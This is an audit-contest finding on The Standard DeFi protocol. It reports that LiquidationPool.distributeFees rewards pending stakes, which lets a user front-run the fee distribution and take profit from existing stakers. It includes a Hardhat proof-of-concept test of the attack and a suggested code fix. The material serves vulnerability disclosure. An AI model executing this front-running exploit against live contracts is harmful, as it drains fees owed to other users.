The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: low
Valid

Anyone can frontrun `LiquidationPoolManager.distributeFees()` and steal profit

PTolev

Summary

Anyone can frontrun LiquidationPoolManager.distributeFees() and steal profit from the other users which have positions.

Vulnerability Details

The LiquidationPoolManager.distributeFees() function gives approval to the ``LiquidationPool to access all EUROs tokens in the contract. It then executes LiquidationPool.distributeFees and subsequently transfers the remaining EUROs to the protocol's treasury account. The process involves LiquidationPool.distributeFees transferring EUROs from LiquidationPoolManager. It then iterates through all holders, dividing the EUROs proportionally based on each holder's position in TST, using the formula: (EURO amount * holder's TST position) / tstTotal. Similarly, EUROs are allocated to pendingStakes using a related formula. However, the function does not account for the duration for which these pending stakes have existed. This oversight potentially allows anyone to exploit the system by front-running the LiquidationPoolManager.distributeFees() function. They could receive a portion of the EUROs and then use decreasePosition to withdraw their deposited TST amount plus the received EUROs.

Coded POC:

Please follow the @audit tags for an explanation of the attack

it("POC frontrun distributeFees", async () => {
// #region @audit users' deposits
​
const tstPosition1Value = ethers.utils.parseEther("1250");
await TST.mint(holder1.address, tstPosition1Value);
await TST.connect(holder1).approve(LiquidationPool.address, tstPosition1Value);
await LiquidationPool.connect(holder1).increasePosition(tstPosition1Value, 0);
​
const tstPosition2Value = ethers.utils.parseEther("7000");
await TST.mint(holder2.address, tstPosition2Value);
await TST.connect(holder2).approve(LiquidationPool.address, tstPosition2Value);
await LiquidationPool.connect(holder2).increasePosition(tstPosition2Value, 0);
​
const tstPosition3Value = ethers.utils.parseEther("85000");
await TST.mint(holder3.address, tstPosition3Value);
await TST.connect(holder3).approve(LiquidationPool.address, tstPosition3Value);
await LiquidationPool.connect(holder3).increasePosition(tstPosition3Value, 0);
​
const tstPosition4Value = ethers.utils.parseEther("800");
await TST.mint(holder4.address, tstPosition4Value);
await TST.connect(holder4).approve(LiquidationPool.address, tstPosition4Value);
await LiquidationPool.connect(holder4).increasePosition(tstPosition4Value, 0);
​
const tstPosition5Value = ethers.utils.parseEther("600000");
await TST.mint(holder5.address, tstPosition5Value);
await TST.connect(holder5).approve(LiquidationPool.address, tstPosition5Value);
await LiquidationPool.connect(holder5).increasePosition(tstPosition5Value, 0);
​
// #endregion @audit users' deposits
​
// @audit Fast forward 1 day, to consolidate all users' pending stakes
await fastForward(DAY);
​
// #region @audit FRONTRUN: just before the `distributeFees` call, a malicious user deposits more TST than all other pendingStakes
const tstAttackValue = ethers.utils.parseEther("700000");
await TST.mint(attacker.address, tstAttackValue);
await TST.connect(attacker).approve(LiquidationPool.address, tstAttackValue);
await LiquidationPool.connect(attacker).increasePosition(tstAttackValue, 0);
// #region @audit Just before the `distributeFees` call, a malicious user deposits more TST than all other pendingStakes
​
// @audit mint EUROs which will be distributed
const feeBalance = ethers.utils.parseEther("1000");
await EUROs.mint(LiquidationPoolManager.address, feeBalance);
​
// @audit `LiquidationPoolManager.distributeFees` calls `LiquidationPool.distributeFees` which distributes all the EUROs among the existing positions and pending stakes (at that moment only the attacker's pending stake)
await LiquidationPoolManager.distributeFees();
​
// @audit Fast forward 1 day, to consolidate all users' pending stakes (at that moment only the attacker's pending stake)
await fastForward(DAY);
​
// @audit attacker can decrease his position to withdraw all the TST + the profit in the form of EUROs
await LiquidationPool.connect(attacker).decreasePosition(
ethers.utils.parseUnits("700000000000000000000000", "wei"), // @audit withdraw all deposited TST
ethers.utils.parseUnits("251067034898317850866", "wei") // @audit-issue reward
);
});

Impact

Loss of funds for the all other users which have already consolidated stakes.

Tools Used

Manual Review

Recommendations

When distributeFees split the reward only among already consolidated stakes which are created as positions.

function distributeFees(uint256 _amount) external onlyManager {
uint256 tstTotal = getTstTotal();
if (tstTotal > 0) {
IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _amount);
for (uint256 i = 0; i < holders.length; i++) {
address _holder = holders[i];
positions[_holder].EUROs += _amount * positions[_holder].TST / tstTotal;
}
- for (uint256 i = 0; i < pendingStakes.length; i++) {
- pendingStakes[i].EUROs += _amount * pendingStakes[i].TST / tstTotal;
- }
}
}
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

frontrun-distrubutefees

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

frontrun-feedist-low

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.